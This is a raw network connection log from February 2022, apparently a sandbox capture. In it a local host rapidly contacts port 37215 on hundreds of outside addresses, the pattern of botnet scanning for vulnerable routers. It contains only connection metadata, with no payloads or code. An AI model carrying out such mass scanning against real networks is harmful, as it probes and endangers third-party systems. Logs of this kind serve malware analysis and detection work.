Feb 20, 2022 15:51:03.886172056 CET	1386	37215	192.168.2.23	197.170.39.160
Feb 20, 2022 15:51:03.886197090 CET	1386	37215	192.168.2.23	197.26.146.57
Feb 20, 2022 15:51:03.886212111 CET	1386	37215	192.168.2.23	197.118.44.181
Feb 20, 2022 15:51:03.886229992 CET	1386	37215	192.168.2.23	197.190.156.24
Feb 20, 2022 15:51:03.886260033 CET	1386	37215	192.168.2.23	197.250.184.243
Feb 20, 2022 15:51:03.886298895 CET	1386	37215	192.168.2.23	197.20.44.158
Feb 20, 2022 15:51:03.886310101 CET	1386	37215	192.168.2.23	197.128.17.15
Feb 20, 2022 15:51:03.886327028 CET	1386	37215	192.168.2.23	197.64.105.237
Feb 20, 2022 15:51:03.886336088 CET	1386	37215	192.168.2.23	197.1.24.63
Feb 20, 2022 15:51:03.886363983 CET	1386	37215	192.168.2.23	197.63.127.20
Feb 20, 2022 15:51:03.886387110 CET	1386	37215	192.168.2.23	197.44.230.68
Feb 20, 2022 15:51:03.886405945 CET	1386	37215	192.168.2.23	197.141.71.140
Feb 20, 2022 15:51:03.886420965 CET	1386	37215	192.168.2.23	197.119.92.53
Feb 20, 2022 15:51:03.886444092 CET	1386	37215	192.168.2.23	197.208.46.133
Feb 20, 2022 15:51:03.886461020 CET	1386	37215	192.168.2.23	197.127.164.77
Feb 20, 2022 15:51:03.886502981 CET	1386	37215	192.168.2.23	197.182.87.28
Feb 20, 2022 15:51:03.886522055 CET	1386	37215	192.168.2.23	197.129.251.86
Feb 20, 2022 15:51:03.886528015 CET	1386	37215	192.168.2.23	197.22.103.97
Feb 20, 2022 15:51:03.886547089 CET	1386	37215	192.168.2.23	197.50.98.162
Feb 20, 2022 15:51:03.886583090 CET	1386	37215	192.168.2.23	197.121.205.2
Feb 20, 2022 15:51:03.886593103 CET	1386	37215	192.168.2.23	197.133.95.57
Feb 20, 2022 15:51:03.886626005 CET	1386	37215	192.168.2.23	197.10.123.76
Feb 20, 2022 15:51:03.886639118 CET	1386	37215	192.168.2.23	197.140.76.235
Feb 20, 2022 15:51:03.886652946 CET	1386	37215	192.168.2.23	197.178.44.198
Feb 20, 2022 15:51:03.886682034 CET	1386	37215	192.168.2.23	197.158.54.140
Feb 20, 2022 15:51:03.886701107 CET	1386	37215	192.168.2.23	197.181.62.221
Feb 20, 2022 15:51:03.886723995 CET	1386	37215	192.168.2.23	197.110.8.117
Feb 20, 2022 15:51:03.886754990 CET	1386	37215	192.168.2.23	197.199.135.44
Feb 20, 2022 15:51:03.886775017 CET	1386	37215	192.168.2.23	197.196.250.220
Feb 20, 2022 15:51:03.886821032 CET	1386	37215	192.168.2.23	197.246.68.58
Feb 20, 2022 15:51:03.886831999 CET	1386	37215	192.168.2.23	197.26.213.69
Feb 20, 2022 15:51:03.886837959 CET	1386	37215	192.168.2.23	197.221.175.25
Feb 20, 2022 15:51:03.886857986 CET	1386	37215	192.168.2.23	197.154.204.134
Feb 20, 2022 15:51:03.886884928 CET	1386	37215	192.168.2.23	197.177.35.246
Feb 20, 2022 15:51:03.886912107 CET	1386	37215	192.168.2.23	197.20.117.110
Feb 20, 2022 15:51:03.886929989 CET	1386	37215	192.168.2.23	197.56.241.55
Feb 20, 2022 15:51:03.886959076 CET	1386	37215	192.168.2.23	197.152.161.18
Feb 20, 2022 15:51:03.886972904 CET	1386	37215	192.168.2.23	197.210.3.201
Feb 20, 2022 15:51:03.887006044 CET	1386	37215	192.168.2.23	197.228.212.171
Feb 20, 2022 15:51:03.887021065 CET	1386	37215	192.168.2.23	197.28.227.105
Feb 20, 2022 15:51:03.887052059 CET	1386	37215	192.168.2.23	197.133.196.141
Feb 20, 2022 15:51:03.887072086 CET	1386	37215	192.168.2.23	197.29.69.98
Feb 20, 2022 15:51:03.887096882 CET	1386	37215	192.168.2.23	197.227.119.186
Feb 20, 2022 15:51:03.887111902 CET	1386	37215	192.168.2.23	197.138.79.115
Feb 20, 2022 15:51:03.887135983 CET	1386	37215	192.168.2.23	197.236.23.238
Feb 20, 2022 15:51:03.887190104 CET	1386	37215	192.168.2.23	197.84.73.193
Feb 20, 2022 15:51:03.887202024 CET	1386	37215	192.168.2.23	197.84.62.135
Feb 20, 2022 15:51:03.887222052 CET	1386	37215	192.168.2.23	197.156.54.85
Feb 20, 2022 15:51:03.887250900 CET	1386	37215	192.168.2.23	197.66.122.27
Feb 20, 2022 15:51:03.887279987 CET	1386	37215	192.168.2.23	197.119.72.51
Feb 20, 2022 15:51:03.887325048 CET	1386	37215	192.168.2.23	197.77.206.146
Feb 20, 2022 15:51:03.887351990 CET	1386	37215	192.168.2.23	197.15.100.247
Feb 20, 2022 15:51:03.887377977 CET	1386	37215	192.168.2.23	197.199.14.8
Feb 20, 2022 15:51:03.887444019 CET	1386	37215	192.168.2.23	197.6.134.90
Feb 20, 2022 15:51:03.887475014 CET	1386	37215	192.168.2.23	197.0.165.188
Feb 20, 2022 15:51:03.887506962 CET	1386	37215	192.168.2.23	197.243.244.48
Feb 20, 2022 15:51:03.887526035 CET	1386	37215	192.168.2.23	197.234.201.56
Feb 20, 2022 15:51:03.887554884 CET	1386	37215	192.168.2.23	197.103.128.156
Feb 20, 2022 15:51:03.887566090 CET	1386	37215	192.168.2.23	197.163.172.177
Feb 20, 2022 15:51:03.920516968 CET	37215	1898	197.13.131.177	192.168.2.23
Feb 20, 2022 15:51:03.955610037 CET	37215	1386	197.26.86.207	192.168.2.23
Feb 20, 2022 15:51:03.958553076 CET	37215	1898	197.9.1.43	192.168.2.23
Feb 20, 2022 15:51:03.963023901 CET	37215	1898	197.153.111.106	192.168.2.23
Feb 20, 2022 15:51:03.964551926 CET	37215	1386	197.130.245.95	192.168.2.23
Feb 20, 2022 15:51:03.965825081 CET	37215	1386	197.238.27.177	192.168.2.23
Feb 20, 2022 15:51:03.965877056 CET	37215	1386	197.7.83.226	192.168.2.23
Feb 20, 2022 15:51:03.965912104 CET	1386	37215	192.168.2.23	197.238.27.177
Feb 20, 2022 15:51:03.967794895 CET	37215	1898	197.6.82.132	192.168.2.23
Feb 20, 2022 15:51:03.970029116 CET	37215	1898	197.8.65.1	192.168.2.23
Feb 20, 2022 15:51:03.975131035 CET	37215	1386	197.7.214.235	192.168.2.23
Feb 20, 2022 15:51:03.975867033 CET	37215	1386	197.131.25.67	192.168.2.23
Feb 20, 2022 15:51:03.995898962 CET	37215	1898	197.131.27.20	192.168.2.23
Feb 20, 2022 15:51:03.997958899 CET	37215	1898	197.7.136.14	192.168.2.23
Feb 20, 2022 15:51:04.022459030 CET	37215	1386	197.6.134.90	192.168.2.23
Feb 20, 2022 15:51:04.023533106 CET	37215	1898	197.89.18.127	192.168.2.23
Feb 20, 2022 15:51:04.049665928 CET	37215	1898	197.7.157.53	192.168.2.23
Feb 20, 2022 15:51:04.050354004 CET	37215	1898	197.234.64.26	192.168.2.23
Feb 20, 2022 15:51:04.056176901 CET	37215	1386	197.215.161.153	192.168.2.23
Feb 20, 2022 15:51:04.061531067 CET	37215	1386	197.102.68.71	192.168.2.23
Feb 20, 2022 15:51:04.061805010 CET	37215	1898	197.243.109.193	192.168.2.23
Feb 20, 2022 15:51:04.068934917 CET	37215	1898	197.13.37.161	192.168.2.23
Feb 20, 2022 15:51:04.074702024 CET	37215	1386	197.131.134.113	192.168.2.23
Feb 20, 2022 15:51:04.084067106 CET	37215	1898	197.238.230.228	192.168.2.23
Feb 20, 2022 15:51:04.085566044 CET	37215	1386	197.234.201.56	192.168.2.23
Feb 20, 2022 15:51:04.090950012 CET	37215	1898	197.241.138.47	192.168.2.23
Feb 20, 2022 15:51:04.093636990 CET	37215	1386	197.158.81.90	192.168.2.23
Feb 20, 2022 15:51:04.118767977 CET	37215	1386	197.5.51.69	192.168.2.23
Feb 20, 2022 15:51:04.168848038 CET	37215	1898	197.6.252.225	192.168.2.23
Feb 20, 2022 15:51:04.232197046 CET	37215	1898	197.8.32.46	192.168.2.23
Feb 20, 2022 15:51:04.352674961 CET	37215	1386	197.131.157.13	192.168.2.23
Feb 20, 2022 15:51:04.355437040 CET	37215	1386	197.7.119.35	192.168.2.23
Feb 20, 2022 15:51:04.402621031 CET	37215	1898	197.128.233.213	192.168.2.23
Feb 20, 2022 15:51:04.402662039 CET	37215	1898	197.128.233.213	192.168.2.23
Feb 20, 2022 15:51:04.402951956 CET	1898	37215	192.168.2.23	197.128.233.213
Feb 20, 2022 15:51:04.437933922 CET	37215	1386	197.9.143.205	192.168.2.23
Feb 20, 2022 15:51:04.468255997 CET	37215	1386	197.7.250.57	192.168.2.23
Feb 20, 2022 15:51:04.490602970 CET	37215	1386	197.7.113.150	192.168.2.23
Feb 20, 2022 15:51:04.505441904 CET	37215	1386	197.128.7.234	192.168.2.23
Feb 20, 2022 15:51:04.538423061 CET	37215	1898	197.6.17.55	192.168.2.23
Feb 20, 2022 15:51:04.579168081 CET	37215	1386	197.131.32.45	192.168.2.23
Feb 20, 2022 15:51:04.579344988 CET	37215	1386	197.131.32.45	192.168.2.23
Feb 20, 2022 15:51:04.579431057 CET	1386	37215	192.168.2.23	197.131.32.45
Feb 20, 2022 15:51:04.736129999 CET	37215	1386	197.128.17.15	192.168.2.23
Feb 20, 2022 15:51:04.759521008 CET	37215	1898	197.4.187.196	192.168.2.23
Feb 20, 2022 15:51:04.759557962 CET	37215	1898	197.4.187.196	192.168.2.23
Feb 20, 2022 15:51:04.759727001 CET	1898	37215	192.168.2.23	197.4.187.196
Feb 20, 2022 15:51:04.871656895 CET	1898	37215	192.168.2.23	92.179.187.170
Feb 20, 2022 15:51:04.871690989 CET	1898	37215	192.168.2.23	92.17.32.148
Feb 20, 2022 15:51:04.871709108 CET	1898	37215	192.168.2.23	92.153.64.193
Feb 20, 2022 15:51:04.871727943 CET	1898	37215	192.168.2.23	92.170.85.97
Feb 20, 2022 15:51:04.871743917 CET	1898	37215	192.168.2.23	92.198.161.181
Feb 20, 2022 15:51:04.871814966 CET	1898	37215	192.168.2.23	92.174.145.253
Feb 20, 2022 15:51:04.871855974 CET	1898	37215	192.168.2.23	92.51.141.65
Feb 20, 2022 15:51:04.871901989 CET	1898	37215	192.168.2.23	92.52.9.253
Feb 20, 2022 15:51:04.871974945 CET	1898	37215	192.168.2.23	92.152.78.22
Feb 20, 2022 15:51:04.872011900 CET	1898	37215	192.168.2.23	92.127.149.213
Feb 20, 2022 15:51:04.872078896 CET	1898	37215	192.168.2.23	92.167.230.35
Feb 20, 2022 15:51:04.872097015 CET	1898	37215	192.168.2.23	92.160.107.84
Feb 20, 2022 15:51:04.872143030 CET	1898	37215	192.168.2.23	92.111.176.84
Feb 20, 2022 15:51:04.872214079 CET	1898	37215	192.168.2.23	92.123.124.134
Feb 20, 2022 15:51:04.872229099 CET	1898	37215	192.168.2.23	92.42.46.228
Feb 20, 2022 15:51:04.872286081 CET	1898	37215	192.168.2.23	92.71.1.235
Feb 20, 2022 15:51:04.872325897 CET	1898	37215	192.168.2.23	92.177.60.222
Feb 20, 2022 15:51:04.872400999 CET	1898	37215	192.168.2.23	92.216.99.175
Feb 20, 2022 15:51:04.872416973 CET	1898	37215	192.168.2.23	92.0.237.122
Feb 20, 2022 15:51:04.872447968 CET	1898	37215	192.168.2.23	92.152.235.65
Feb 20, 2022 15:51:04.872493029 CET	1898	37215	192.168.2.23	92.148.75.2
Feb 20, 2022 15:51:04.872560978 CET	1898	37215	192.168.2.23	92.197.85.23
Feb 20, 2022 15:51:04.872586966 CET	1898	37215	192.168.2.23	92.55.255.198
Feb 20, 2022 15:51:04.872643948 CET	1898	37215	192.168.2.23	92.177.247.88
Feb 20, 2022 15:51:04.872699976 CET	1898	37215	192.168.2.23	92.223.19.143
Feb 20, 2022 15:51:04.872731924 CET	1898	37215	192.168.2.23	92.132.236.24
Feb 20, 2022 15:51:04.872797966 CET	1898	37215	192.168.2.23	92.108.89.238
Feb 20, 2022 15:51:04.872833014 CET	1898	37215	192.168.2.23	92.92.56.223
Feb 20, 2022 15:51:04.872884989 CET	1898	37215	192.168.2.23	92.149.91.26
Feb 20, 2022 15:51:04.872931957 CET	1898	37215	192.168.2.23	92.28.242.210
Feb 20, 2022 15:51:04.873018980 CET	1898	37215	192.168.2.23	92.211.189.32
Feb 20, 2022 15:51:04.873064041 CET	1898	37215	192.168.2.23	92.174.228.7
Feb 20, 2022 15:51:04.873089075 CET	1898	37215	192.168.2.23	92.41.238.68
Feb 20, 2022 15:51:04.873137951 CET	1898	37215	192.168.2.23	92.4.73.132
Feb 20, 2022 15:51:04.873181105 CET	1898	37215	192.168.2.23	92.184.207.21
Feb 20, 2022 15:51:04.873224974 CET	1898	37215	192.168.2.23	92.241.25.167
Feb 20, 2022 15:51:04.873282909 CET	1898	37215	192.168.2.23	92.138.186.60
Feb 20, 2022 15:51:04.873323917 CET	1898	37215	192.168.2.23	92.202.187.212
Feb 20, 2022 15:51:04.873409033 CET	1898	37215	192.168.2.23	92.212.96.163
Feb 20, 2022 15:51:04.873462915 CET	1898	37215	192.168.2.23	92.20.65.40
Feb 20, 2022 15:51:04.873496056 CET	1898	37215	192.168.2.23	92.6.55.222
Feb 20, 2022 15:51:04.873590946 CET	1898	37215	192.168.2.23	92.120.140.124
Feb 20, 2022 15:51:04.873603106 CET	1898	37215	192.168.2.23	92.23.57.208
Feb 20, 2022 15:51:04.873640060 CET	1898	37215	192.168.2.23	92.85.186.82
Feb 20, 2022 15:51:04.873728991 CET	1898	37215	192.168.2.23	92.215.231.25
Feb 20, 2022 15:51:04.873739004 CET	1898	37215	192.168.2.23	92.171.16.223
Feb 20, 2022 15:51:04.873840094 CET	1898	37215	192.168.2.23	92.161.69.125
Feb 20, 2022 15:51:04.873841047 CET	1898	37215	192.168.2.23	92.16.96.68
Feb 20, 2022 15:51:04.873888016 CET	1898	37215	192.168.2.23	92.249.123.171
Feb 20, 2022 15:51:04.873934031 CET	1898	37215	192.168.2.23	92.46.222.101
Feb 20, 2022 15:51:04.874007940 CET	1898	37215	192.168.2.23	92.126.54.42
Feb 20, 2022 15:51:04.874082088 CET	1898	37215	192.168.2.23	92.21.196.148
Feb 20, 2022 15:51:04.874104023 CET	1898	37215	192.168.2.23	92.177.132.211
Feb 20, 2022 15:51:04.874156952 CET	1898	37215	192.168.2.23	92.130.63.141
Feb 20, 2022 15:51:04.874201059 CET	1898	37215	192.168.2.23	92.208.141.230
Feb 20, 2022 15:51:04.874243021 CET	1898	37215	192.168.2.23	92.209.83.143
Feb 20, 2022 15:51:04.874300957 CET	1898	37215	192.168.2.23	92.138.55.162
Feb 20, 2022 15:51:04.874340057 CET	1898	37215	192.168.2.23	92.245.127.45
Feb 20, 2022 15:51:04.874393940 CET	1898	37215	192.168.2.23	92.114.152.178
Feb 20, 2022 15:51:04.874440908 CET	1898	37215	192.168.2.23	92.197.249.195
Feb 20, 2022 15:51:04.874512911 CET	1898	37215	192.168.2.23	92.45.17.31
Feb 20, 2022 15:51:04.874582052 CET	1898	37215	192.168.2.23	92.80.105.244
Feb 20, 2022 15:51:04.874633074 CET	1898	37215	192.168.2.23	92.41.23.121
Feb 20, 2022 15:51:04.874686956 CET	1898	37215	192.168.2.23	92.22.249.177
Feb 20, 2022 15:51:04.874742031 CET	1898	37215	192.168.2.23	92.116.244.66
Feb 20, 2022 15:51:04.874790907 CET	1898	37215	192.168.2.23	92.73.165.113
Feb 20, 2022 15:51:04.874836922 CET	1898	37215	192.168.2.23	92.150.242.100
Feb 20, 2022 15:51:04.874886990 CET	1898	37215	192.168.2.23	92.23.73.180
Feb 20, 2022 15:51:04.874948978 CET	1898	37215	192.168.2.23	92.227.114.252
Feb 20, 2022 15:51:04.874982119 CET	1898	37215	192.168.2.23	92.138.167.11
Feb 20, 2022 15:51:04.875051022 CET	1898	37215	192.168.2.23	92.43.155.114
Feb 20, 2022 15:51:04.875072956 CET	1898	37215	192.168.2.23	92.18.130.238
Feb 20, 2022 15:51:04.875143051 CET	1898	37215	192.168.2.23	92.76.242.147
Feb 20, 2022 15:51:04.875189066 CET	1898	37215	192.168.2.23	92.254.243.143
Feb 20, 2022 15:51:04.875233889 CET	1898	37215	192.168.2.23	92.251.78.69
Feb 20, 2022 15:51:04.875284910 CET	1898	37215	192.168.2.23	92.238.77.196
Feb 20, 2022 15:51:04.875343084 CET	1898	37215	192.168.2.23	92.177.55.90
Feb 20, 2022 15:51:04.875425100 CET	1898	37215	192.168.2.23	92.238.144.233
Feb 20, 2022 15:51:04.875471115 CET	1898	37215	192.168.2.23	92.94.226.221
Feb 20, 2022 15:51:04.875519037 CET	1898	37215	192.168.2.23	92.151.244.231
Feb 20, 2022 15:51:04.875570059 CET	1898	37215	192.168.2.23	92.180.196.208
Feb 20, 2022 15:51:04.875636101 CET	1898	37215	192.168.2.23	92.218.106.204
Feb 20, 2022 15:51:04.875680923 CET	1898	37215	192.168.2.23	92.214.239.248
Feb 20, 2022 15:51:04.875719070 CET	1898	37215	192.168.2.23	92.180.78.253
Feb 20, 2022 15:51:04.875786066 CET	1898	37215	192.168.2.23	92.163.236.158
Feb 20, 2022 15:51:04.875828028 CET	1898	37215	192.168.2.23	92.0.180.51
Feb 20, 2022 15:51:04.875876904 CET	1898	37215	192.168.2.23	92.176.113.90
Feb 20, 2022 15:51:04.875922918 CET	1898	37215	192.168.2.23	92.138.131.234
Feb 20, 2022 15:51:04.875988960 CET	1898	37215	192.168.2.23	92.187.17.96
Feb 20, 2022 15:51:04.876055956 CET	1898	37215	192.168.2.23	92.126.65.229
Feb 20, 2022 15:51:04.876154900 CET	1898	37215	192.168.2.23	92.53.248.49
Feb 20, 2022 15:51:04.876176119 CET	1898	37215	192.168.2.23	92.185.94.246
Feb 20, 2022 15:51:04.876195908 CET	1898	37215	192.168.2.23	92.180.125.54
Feb 20, 2022 15:51:04.876246929 CET	1898	37215	192.168.2.23	92.154.209.10
Feb 20, 2022 15:51:04.876307964 CET	1898	37215	192.168.2.23	92.223.45.251
Feb 20, 2022 15:51:04.876348019 CET	1898	37215	192.168.2.23	92.148.230.88
Feb 20, 2022 15:51:04.876405954 CET	1898	37215	192.168.2.23	92.16.101.181
Feb 20, 2022 15:51:04.876470089 CET	1898	37215	192.168.2.23	92.186.218.10
Feb 20, 2022 15:51:04.876516104 CET	1898	37215	192.168.2.23	92.113.185.181
Feb 20, 2022 15:51:04.876575947 CET	1898	37215	192.168.2.23	92.19.219.167
Feb 20, 2022 15:51:04.876616001 CET	1898	37215	192.168.2.23	92.73.249.235
Feb 20, 2022 15:51:04.876692057 CET	1898	37215	192.168.2.23	92.29.163.131
Feb 20, 2022 15:51:04.876703978 CET	1898	37215	192.168.2.23	92.174.126.131
Feb 20, 2022 15:51:04.876776934 CET	1898	37215	192.168.2.23	92.180.227.11
Feb 20, 2022 15:51:04.876832008 CET	1898	37215	192.168.2.23	92.56.181.135
Feb 20, 2022 15:51:04.876882076 CET	1898	37215	192.168.2.23	92.121.156.178
Feb 20, 2022 15:51:04.876928091 CET	1898	37215	192.168.2.23	92.201.99.40
Feb 20, 2022 15:51:04.876979113 CET	1898	37215	192.168.2.23	92.60.22.190
Feb 20, 2022 15:51:04.877022028 CET	1898	37215	192.168.2.23	92.182.86.89
Feb 20, 2022 15:51:04.877075911 CET	1898	37215	192.168.2.23	92.195.175.51
Feb 20, 2022 15:51:04.877119064 CET	1898	37215	192.168.2.23	92.75.210.239
Feb 20, 2022 15:51:04.877171040 CET	1898	37215	192.168.2.23	92.150.135.11
Feb 20, 2022 15:51:04.877218962 CET	1898	37215	192.168.2.23	92.40.245.167
Feb 20, 2022 15:51:04.877259016 CET	1898	37215	192.168.2.23	92.31.113.29
Feb 20, 2022 15:51:04.877326965 CET	1898	37215	192.168.2.23	92.172.21.209
Feb 20, 2022 15:51:04.877372026 CET	1898	37215	192.168.2.23	92.198.1.223
Feb 20, 2022 15:51:04.877433062 CET	1898	37215	192.168.2.23	92.45.222.16
Feb 20, 2022 15:51:04.877484083 CET	1898	37215	192.168.2.23	92.144.201.81
Feb 20, 2022 15:51:04.877526045 CET	1898	37215	192.168.2.23	92.81.147.116
Feb 20, 2022 15:51:04.877563000 CET	1898	37215	192.168.2.23	92.84.219.159
Feb 20, 2022 15:51:04.877628088 CET	1898	37215	192.168.2.23	92.102.221.220
Feb 20, 2022 15:51:04.877667904 CET	1898	37215	192.168.2.23	92.166.124.99
Feb 20, 2022 15:51:04.877724886 CET	1898	37215	192.168.2.23	92.248.45.14
Feb 20, 2022 15:51:04.877764940 CET	1898	37215	192.168.2.23	92.71.59.170
Feb 20, 2022 15:51:04.877820969 CET	1898	37215	192.168.2.23	92.141.160.103
Feb 20, 2022 15:51:04.877885103 CET	1898	37215	192.168.2.23	92.27.194.168
Feb 20, 2022 15:51:04.877947092 CET	1898	37215	192.168.2.23	92.255.102.153
Feb 20, 2022 15:51:04.877985001 CET	1898	37215	192.168.2.23	92.190.197.102
Feb 20, 2022 15:51:04.878038883 CET	1898	37215	192.168.2.23	92.50.65.70
Feb 20, 2022 15:51:04.878106117 CET	1898	37215	192.168.2.23	92.242.221.228
Feb 20, 2022 15:51:04.878180027 CET	1898	37215	192.168.2.23	92.226.39.246
Feb 20, 2022 15:51:04.878268003 CET	1898	37215	192.168.2.23	92.155.212.100
Feb 20, 2022 15:51:04.878289938 CET	1898	37215	192.168.2.23	92.67.146.232
Feb 20, 2022 15:51:04.878340960 CET	1898	37215	192.168.2.23	92.22.250.248
Feb 20, 2022 15:51:04.878406048 CET	1898	37215	192.168.2.23	92.197.181.197
Feb 20, 2022 15:51:04.878448963 CET	1898	37215	192.168.2.23	92.248.89.125
Feb 20, 2022 15:51:04.878509998 CET	1898	37215	192.168.2.23	92.77.96.165
Feb 20, 2022 15:51:04.878551960 CET	1898	37215	192.168.2.23	92.99.13.169
Feb 20, 2022 15:51:04.878608942 CET	1898	37215	192.168.2.23	92.107.234.112
Feb 20, 2022 15:51:04.878659010 CET	1898	37215	192.168.2.23	92.210.60.152
Feb 20, 2022 15:51:04.878706932 CET	1898	37215	192.168.2.23	92.207.115.98
Feb 20, 2022 15:51:04.878768921 CET	1898	37215	192.168.2.23	92.81.52.54
Feb 20, 2022 15:51:04.878829002 CET	1898	37215	192.168.2.23	92.59.130.137
Feb 20, 2022 15:51:04.878859997 CET	1898	37215	192.168.2.23	92.83.131.104
Feb 20, 2022 15:51:04.878920078 CET	1898	37215	192.168.2.23	92.48.101.52
Feb 20, 2022 15:51:04.878962994 CET	1898	37215	192.168.2.23	92.106.8.197
Feb 20, 2022 15:51:04.879014969 CET	1898	37215	192.168.2.23	92.38.228.123
Feb 20, 2022 15:51:04.879057884 CET	1898	37215	192.168.2.23	92.45.128.101
Feb 20, 2022 15:51:04.879111052 CET	1898	37215	192.168.2.23	92.74.172.191
Feb 20, 2022 15:51:04.879153967 CET	1898	37215	192.168.2.23	92.239.53.231
Feb 20, 2022 15:51:04.879206896 CET	1898	37215	192.168.2.23	92.246.98.201
Feb 20, 2022 15:51:04.879255056 CET	1898	37215	192.168.2.23	92.253.134.234
Feb 20, 2022 15:51:04.879307985 CET	1898	37215	192.168.2.23	92.232.81.13
Feb 20, 2022 15:51:04.879374981 CET	1898	37215	192.168.2.23	92.27.68.114
Feb 20, 2022 15:51:04.879414082 CET	1898	37215	192.168.2.23	92.19.195.236
Feb 20, 2022 15:51:04.879491091 CET	1898	37215	192.168.2.23	92.59.193.154
Feb 20, 2022 15:51:04.879528046 CET	1898	37215	192.168.2.23	92.250.110.141
Feb 20, 2022 15:51:04.879581928 CET	1898	37215	192.168.2.23	92.131.182.180
Feb 20, 2022 15:51:04.879611015 CET	1898	37215	192.168.2.23	92.55.238.9
Feb 20, 2022 15:51:04.879666090 CET	1898	37215	192.168.2.23	92.95.144.193
Feb 20, 2022 15:51:04.879719019 CET	1898	37215	192.168.2.23	92.228.152.4
Feb 20, 2022 15:51:04.879779100 CET	1898	37215	192.168.2.23	92.255.42.126
Feb 20, 2022 15:51:04.879846096 CET	1898	37215	192.168.2.23	92.221.186.115
Feb 20, 2022 15:51:04.879889965 CET	1898	37215	192.168.2.23	92.163.140.117
Feb 20, 2022 15:51:04.879910946 CET	1898	37215	192.168.2.23	92.11.249.85
Feb 20, 2022 15:51:04.879930973 CET	1898	37215	192.168.2.23	92.77.129.153
Feb 20, 2022 15:51:04.879959106 CET	1898	37215	192.168.2.23	92.111.225.186
Feb 20, 2022 15:51:04.879987001 CET	1898	37215	192.168.2.23	92.228.160.154
Feb 20, 2022 15:51:04.880004883 CET	1898	37215	192.168.2.23	92.146.83.232
Feb 20, 2022 15:51:04.880043030 CET	1898	37215	192.168.2.23	92.216.4.187
Feb 20, 2022 15:51:04.880062103 CET	1898	37215	192.168.2.23	92.208.48.106
Feb 20, 2022 15:51:04.880083084 CET	1898	37215	192.168.2.23	92.183.154.34
Feb 20, 2022 15:51:04.880116940 CET	1898	37215	192.168.2.23	92.239.113.215
Feb 20, 2022 15:51:04.880150080 CET	1898	37215	192.168.2.23	92.73.10.144
Feb 20, 2022 15:51:04.880177975 CET	1898	37215	192.168.2.23	92.220.34.225
Feb 20, 2022 15:51:04.880178928 CET	1898	37215	192.168.2.23	92.206.100.188
Feb 20, 2022 15:51:04.880207062 CET	1898	37215	192.168.2.23	92.170.91.51
Feb 20, 2022 15:51:04.880240917 CET	1898	37215	192.168.2.23	92.179.212.235
Feb 20, 2022 15:51:04.880263090 CET	1898	37215	192.168.2.23	92.41.61.24
Feb 20, 2022 15:51:04.880276918 CET	1898	37215	192.168.2.23	92.249.253.87
Feb 20, 2022 15:51:04.880297899 CET	1898	37215	192.168.2.23	92.226.96.160
Feb 20, 2022 15:51:04.880315065 CET	1898	37215	192.168.2.23	92.167.31.218
Feb 20, 2022 15:51:04.880343914 CET	1898	37215	192.168.2.23	92.109.56.7
Feb 20, 2022 15:51:04.880383015 CET	1898	37215	192.168.2.23	92.118.38.196
Feb 20, 2022 15:51:04.880397081 CET	1898	37215	192.168.2.23	92.192.29.236
Feb 20, 2022 15:51:04.880419970 CET	1898	37215	192.168.2.23	92.148.88.227
Feb 20, 2022 15:51:04.880426884 CET	1898	37215	192.168.2.23	92.30.42.143
Feb 20, 2022 15:51:04.880460978 CET	1898	37215	192.168.2.23	92.19.36.125
Feb 20, 2022 15:51:04.880470991 CET	1898	37215	192.168.2.23	92.132.100.146
Feb 20, 2022 15:51:04.880506039 CET	1898	37215	192.168.2.23	92.96.153.100
Feb 20, 2022 15:51:04.880526066 CET	1898	37215	192.168.2.23	92.126.128.182
Feb 20, 2022 15:51:04.880543947 CET	1898	37215	192.168.2.23	92.156.112.243
Feb 20, 2022 15:51:04.880557060 CET	1898	37215	192.168.2.23	92.228.102.223
Feb 20, 2022 15:51:04.880608082 CET	1898	37215	192.168.2.23	92.222.95.227
Feb 20, 2022 15:51:04.880621910 CET	1898	37215	192.168.2.23	92.121.158.88
Feb 20, 2022 15:51:04.880636930 CET	1898	37215	192.168.2.23	92.50.198.7
Feb 20, 2022 15:51:04.880672932 CET	1898	37215	192.168.2.23	92.115.58.61
Feb 20, 2022 15:51:04.880705118 CET	1898	37215	192.168.2.23	92.27.13.98
Feb 20, 2022 15:51:04.880719900 CET	1898	37215	192.168.2.23	92.238.50.94
Feb 20, 2022 15:51:04.880754948 CET	1898	37215	192.168.2.23	92.73.238.111
Feb 20, 2022 15:51:04.880773067 CET	1898	37215	192.168.2.23	92.60.209.202
Feb 20, 2022 15:51:04.880794048 CET	1898	37215	192.168.2.23	92.195.239.60
Feb 20, 2022 15:51:04.880826950 CET	1898	37215	192.168.2.23	92.141.20.151
Feb 20, 2022 15:51:04.880857944 CET	1898	37215	192.168.2.23	92.173.118.118
Feb 20, 2022 15:51:04.880881071 CET	1898	37215	192.168.2.23	92.203.234.135
Feb 20, 2022 15:51:04.880892038 CET	1898	37215	192.168.2.23	92.10.102.101
Feb 20, 2022 15:51:04.880908012 CET	1898	37215	192.168.2.23	92.110.93.6
Feb 20, 2022 15:51:04.880932093 CET	1898	37215	192.168.2.23	92.205.85.21
Feb 20, 2022 15:51:04.880943060 CET	1898	37215	192.168.2.23	92.155.210.152
Feb 20, 2022 15:51:04.880961895 CET	1898	37215	192.168.2.23	92.133.229.234
Feb 20, 2022 15:51:04.880978107 CET	1898	37215	192.168.2.23	92.12.170.166
Feb 20, 2022 15:51:04.881014109 CET	1898	37215	192.168.2.23	92.207.89.64
Feb 20, 2022 15:51:04.881042957 CET	1898	37215	192.168.2.23	92.117.8.215
Feb 20, 2022 15:51:04.881056070 CET	1898	37215	192.168.2.23	92.129.93.84
Feb 20, 2022 15:51:04.881082058 CET	1898	37215	192.168.2.23	92.47.224.69
Feb 20, 2022 15:51:04.881108046 CET	1898	37215	192.168.2.23	92.79.146.163
Feb 20, 2022 15:51:04.881129980 CET	1898	37215	192.168.2.23	92.167.238.142
Feb 20, 2022 15:51:04.881149054 CET	1898	37215	192.168.2.23	92.66.170.84
Feb 20, 2022 15:51:04.881184101 CET	1898	37215	192.168.2.23	92.35.164.214
Feb 20, 2022 15:51:04.881206036 CET	1898	37215	192.168.2.23	92.90.1.190
Feb 20, 2022 15:51:04.881231070 CET	1898	37215	192.168.2.23	92.44.28.29
Feb 20, 2022 15:51:04.881244898 CET	1898	37215	192.168.2.23	92.80.133.120
Feb 20, 2022 15:51:04.881257057 CET	1898	37215	192.168.2.23	92.89.21.228
Feb 20, 2022 15:51:04.881275892 CET	1898	37215	192.168.2.23	92.206.110.61
Feb 20, 2022 15:51:04.881309032 CET	1898	37215	192.168.2.23	92.129.25.190
Feb 20, 2022 15:51:04.881325960 CET	1898	37215	192.168.2.23	92.237.163.92
Feb 20, 2022 15:51:04.881335020 CET	1898	37215	192.168.2.23	92.100.48.136
